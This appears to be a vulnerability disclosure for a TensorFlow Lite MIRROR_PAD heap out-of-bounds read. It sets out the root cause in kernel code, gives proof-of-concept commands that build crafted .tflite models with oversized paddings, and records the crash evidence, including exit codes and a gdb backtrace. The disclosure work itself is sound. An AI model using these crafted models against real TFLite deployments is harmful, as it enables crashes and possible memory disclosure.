YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
TFLite MIRROR_PAD: heap out-of-bounds read via unvalidated attacker-controlled paddings tensor
Summary
The TensorFlow Lite MIRROR_PAD builtin kernel
(tensorflow/lite/kernels/mirror_pad.cc) never validates the values of the
paddings input tensor against the corresponding input dimension sizes. A
crafted .tflite model with a large left_pad causes the kernel worker to read
input_data[GetFlatIndex(i)] far past the end of the small input allocation,
producing a heap out-of-bounds read and a reproducible SIGSEGV. A single
maliciously crafted model file is sufficient β no runtime inputs required, since
both the input and the paddings are stored as constant buffers.
- Target: TensorFlow Lite runtime (
tflite::ops::builtin::mirror_pad) - Component/file:
tensorflow/lite/kernels/mirror_pad.cc - Op:
MIRROR_PAD(builtin code 100), modesREFLECTandSYMMETRIC - Version reproduced: pip
tensorflow2.21.0, x86-64 Linux (CPython 3.13) - Class: CWE-125 heap out-of-bounds read (untrusted model file)
- Resolvers affected: both
BUILTIN_REF(reference kernels) and the default optimizedBUILTINresolver
Root cause
Prepare() only validates the shape of the paddings tensor β that it is 2-D
and that dim0 == input_rank. It never checks the individual pad values against
the input dimension sizes:
// mirror_pad.cc β Prepare()
TF_LITE_ENSURE_EQ(context, NumDimensions(padding_matrix), 2);
TF_LITE_ENSURE_EQ(context, SizeOfDimension(padding_matrix, 0),
NumDimensions(input_tensor));
// ... no check that padding_matrix[i][0] < SizeOfDimension(input_tensor, i)
GetPaddedOutputShape() then computes each output dimension directly from the
raw attacker-controlled values:
// output_dim = input_dim + left_pad + right_pad (attacker values, unchecked)
output_dims->data[i] =
SizeOfDimension(input_tensor, i) + paddings[i*2] + paddings[i*2 + 1];
At execution, Eval() dispatches MirrorPadWorkerTask<T>::Run(), which for each
output element computes the source flat index via GetFlatIndex() ->
GetInputDimension(). For REFLECT (offset = 1) and SYMMETRIC (offset = 0),
GetInputDimension() maps output element 0 to input index
left_pad + offset - 1 with no clamp to [0, input_dim_size). TFLite/TF only
require left_pad < input_dim (REFLECT) / left_pad <= input_dim (SYMMETRIC)
semantically, but this constraint is enforced nowhere in the kernel.
Consequently a large left_pad makes the worker execute
output_data[i] = input_data[GetFlatIndex(i)] with GetFlatIndex(i) ~= left_pad,
reading far beyond the tiny input buffer. The output allocation itself succeeds
(e.g. 8 + 0x04000000 floats ~= 268 MB), so allocate_tensors() returns OK and
the crash occurs inside invoke().
Proof of concept
mk.py hand-builds a minimal .tflite (via
tensorflow.lite.python.schema_py_generated flatbuffer) containing a single
MIRROR_PAD op:
input:float32[8], constant bufferpaddings:int32[1,2]constant =[0x04000000, 0](left = ~67M, right = 0)output:float32[8 + 0x04000000]MirrorPadOptions.mode = REFLECT(also verifiedSYMMETRIC->crash_sym.tflite)
load.py loads the model, calls allocate_tensors() then invoke(), printing
[c] (constructed), [a] (allocated), [i] (invoked). The crash aborts the
process after [a] and before [i].
Build & run:
python mk.py 0x04000000 0 0 crash.tflite # REFLECT
python mk.py 0x04000000 0 1 crash_sym.tflite # SYMMETRIC
python mk.py 3 2 0 neg.tflite # negative control (valid pads for dim 8)
python load.py crash.tflite ref # BUILTIN_REF resolver -> SIGSEGV
python load.py crash.tflite def # default BUILTIN resolver -> SIGSEGV
python load.py neg.tflite ref # clean, exit 0, out (13,)
Captured evidence (verbatim)
Re-verified on pip tensorflow 2.21.0 (CPython 3.13, x86-64 Linux):
=== crash.tflite ref ===
exit=139
=== crash.tflite default ===
exit=139
=== crash_sym.tflite ref ===
exit=139
=== neg.tflite ref ===
[c]
[a]
[i]
out (13,)
exit=0
=== neg.tflite default ===
[c]
[a]
[i]
out (13,)
exit=0
Exit 139 = 128 + SIGSEGV(11). The crash model prints [c][a] and dies before
[i]; the negative control (valid paddings [3,2] for input dim 8) runs to
completion with the correct padded output shape (13,) on both resolvers.
gdb backtrace (top frames)
#0 0x00007fffa012c5f7 tflite::ops::builtin::mirror_pad::(anonymous namespace)::MirrorPadWorkerTask<float>::Run()
#1 0x00007fffa012b2fc tflite::cpu_backend_threadpool::Execute<...MirrorPadWorkerTask<float>>(int, ...)
#2 0x00007fffa012a7bb tflite::ops::builtin::mirror_pad::Eval(TfLiteContext*, TfLiteNode*)
#3 0x00007fff9facbf20 tflite::Subgraph::InvokeImpl()
#4 0x00007fff9facb6ef tflite::Subgraph::Invoke()
Registers at fault: rdi=0x4, rax=rsi=0x1ab1222 (27988514) β the computed
source index used in the faulting read input_data[GetFlatIndex(i)].
Impact
Loading and invoking an untrusted .tflite model that contains a MIRROR_PAD op
with oversized paddings triggers an out-of-bounds read of the input buffer. This
is a denial of service (crash) and a potential information-disclosure primitive
(the OOB-read values are written into the output tensor, which the caller reads
back). Model files are a common untrusted-input surface for TFLite deployments.
Reproduction environment
tensorflow2.21.0 (pip, CPU build), CPython 3.13, x86-64 Linux- Both
experimental_op_resolver_type=BUILTIN_REFand the defaultBUILTINoptimized resolver crash identically - Both
REFLECTandSYMMETRICmodes crash; negative control is clean
Files
mk.pyβ flatbuffer model generatorload.pyβ loader/harness (ref= BUILTIN_REF, else default resolver)crash.tfliteβ REFLECT PoC (paddings[0x04000000, 0])crash_sym.tfliteβ SYMMETRIC PoCneg.tfliteβ negative control (paddings[3, 2], valid for input dim 8)poc_crash_evidence.log,gdbcmds.txtβ evidence + gdb command script
Dedup / prior-art note
This targets missing value validation of the paddings tensor in
mirror_pad.cc (OOB read via GetInputDimension() with no clamp). It is
distinct from prior TFLite MIRROR_PAD advisories that concerned integer
overflow in the output-size computation / CalculateOutputSize
(e.g. the 2020-era GHSA/CVE MirrorPad overflow reports), which addressed
overflow of the shape computation rather than the unclamped source-index read
in the worker task at invoke time. No CVE was found matching this specific
unvalidated-left_pad OOB-read path in the current (2.21.0) kernel. Reported as
a new finding; if maintainers determine it overlaps an existing hardening,
please treat as a confirmation/regression report against 2.21.0.
- Downloads last month
- -